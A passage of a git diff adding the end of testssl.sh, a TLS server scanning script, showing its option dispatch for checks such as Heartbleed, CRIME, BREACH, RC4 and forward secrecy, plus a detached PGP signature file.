+               cleanup
+               exit $?  ;;
+       -R|--renegotiation)
+               parse_hn_port "$2"
+               maketempf
+               outln; blue "--> Testing for Renegotiation vulnerability"; outln "\n"
+               renego
+               ret=$?
+               cleanup
+               exit $?  ;;
+       -C|--compression|--crime)
+               parse_hn_port "$2"
+               maketempf
+               outln; blue "--> Testing for CRIME vulnerability"; outln "\n"
+               crime
+               ret=$?
+               cleanup
+               exit $?  ;;
+       -T|--breach)
+               parse_hn_port "$2"
+               maketempf
+               outln; blue "--> Testing for BREACH (HTTP compression) vulnerability"; outln "\n"
+               breach
+               ret=$?
+               ret=`expr $? + $ret`
+               cleanup
+               exit $ret ;;
+       -4|--rc4|--appelbaum)
+               parse_hn_port "$2"
+               maketempf
+               rc4
+               ret=$?
+               cleanup
+               exit $?  ;;
+       -s|--pfs|--fs|--nsa)
+               parse_hn_port "$2"
+               maketempf
+               pfs
+               ret=$?
+               cleanup
+               exit $ret ;;
+       -H|--header|--headers)  
+               parse_hn_port "$2"
+               maketempf
+               outln; blue "--> Testing HTTP Header response"; outln "\n"
+               hsts
+               ret=$?
+               serverbanner
+               ret=`expr $? + $ret`
+               cleanup
+               exit $ret ;;
+       *)
+               parse_hn_port "$1"
+               maketempf
+
+               runprotocols            ; ret=$?
+               spdy                    ; ret=`expr $? + $ret`
+               run_std_cipherlists     ; ret=`expr $? + $ret`
+               simple_preference       ; ret=`expr $? + $ret`
+
+               outln; blue "--> Testing specific vulnerabilities"; outln "\n"
+               heartbleed          ; ret=`expr $? + $ret`
+               ccs_injection       ; ret=`expr $? + $ret`
+               renego                  ; ret=`expr $? + $ret`
+               crime                   ; ret=`expr $? + $ret`
+               breach                  ; ret=`expr $? + $ret`
+               beast                   ; ret=`expr $? + $ret`
+
+               outln; blue "--> Testing HTTP Header response"; outln "\n"
+               hsts                    ; ret=`expr $? + $ret`
+               serverbanner            ; ret=`expr $? + $ret`
+
+               rc4                             ; ret=`expr $? + $ret`
+               pfs                             ; ret=`expr $? + $ret`
+
+               cleanup 
+               exit $ret ;;
+esac
+
+#  $Id: testssl.sh,v 1.112 2014/07/16 16:54:10 dirkw Exp $ 
+# vim:ts=5:sw=5
+
+
diff --git a/testssl.sh.asc b/testssl.sh.asc
new file mode 100644 (file)
index 0000000..31c21f7
--- /dev/null
@@ -0,0 +1,7 @@
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v2.0.22 (GNU/Linux)
+
+iD8DBQBUP5Z+WZzt6LgYwDkRAoMnAJ4tITkta6Qz/Lyw+LvoHCOKQQO4fwCgzPV5
+W5F4cDr8NG/Qt5Kq839BNHU=
+=PNxH
+-----END PGP SIGNATURE-----